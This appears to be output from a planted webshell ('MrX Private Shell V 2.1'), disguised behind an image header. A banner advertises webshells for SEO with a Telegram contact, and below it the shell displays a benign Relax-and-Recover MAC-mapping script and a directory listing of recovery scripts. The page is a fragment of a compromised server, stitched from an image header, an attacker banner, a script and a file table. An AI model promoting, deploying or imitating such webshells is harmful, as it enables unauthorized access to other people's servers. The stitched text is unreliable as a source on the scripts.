����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# we will create a $CONFIG_DIR/mappings/mac file if needed
# because the bash option nullglob is set in rear (see usr/sbin/rear)
# PATCH_FILES is empty if nothing matches $TARGET_FS_ROOT/etc/sysconfig/*/ifcfg-*
PATCH_FILES=( $TARGET_FS_ROOT/etc/sysconfig/*/ifcfg-* )
# skip if no network configuration files are found
test $PATCH_FILES || return 0
# if a "mac" is found no need to create one
[[ -f $CONFIG_DIR/mappings/mac ]] && return 0
for file in "${PATCH_FILES[@]}"; do
grep -q HWADDR $file || continue
dev=$(echo $file | cut -d- -f3)
old_mac=$(grep HWADDR $file | cut -d= -f2)
new_mac=$(cat /sys/class/net/$dev/address)
[[ -z "$new_mac" ]] && continue
[[ "$(echo $old_mac | sed -e 'y/abcdef/ABCDEF/')" = "$(echo $new_mac | sed -e 'y/abcdef/ABCDEF/')" ]] && continue
echo "$old_mac $new_mac $dev" >> $CONFIG_DIR/mappings/mac
done
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 230_remove_lvmdevices.sh | File | 1019 B | 0644 |
|
| 240_reassign_luks_keyfiles.sh | File | 2.45 KB | 0644 |
|
| 250_migrate_disk_devices_layout.sh | File | 4.92 KB | 0644 |
|
| 250_migrate_lun_wwid.sh | File | 3.54 KB | 0644 |
|
| 260_rename_diskbyid.sh | File | 7.39 KB | 0644 |
|
| 280_migrate_uuid_tags.sh | File | 3.4 KB | 0644 |
|
| 300_create_mac_mapping.sh | File | 846 B | 0644 |
|
| 310_migrate_udev_rules.sh | File | 2.78 KB | 0644 |
|
| 320_migrate_network_configuration_files.sh | File | 33.93 KB | 0644 |
|
| 430_create_multipath_config.sh | File | 1.55 KB | 0644 |
|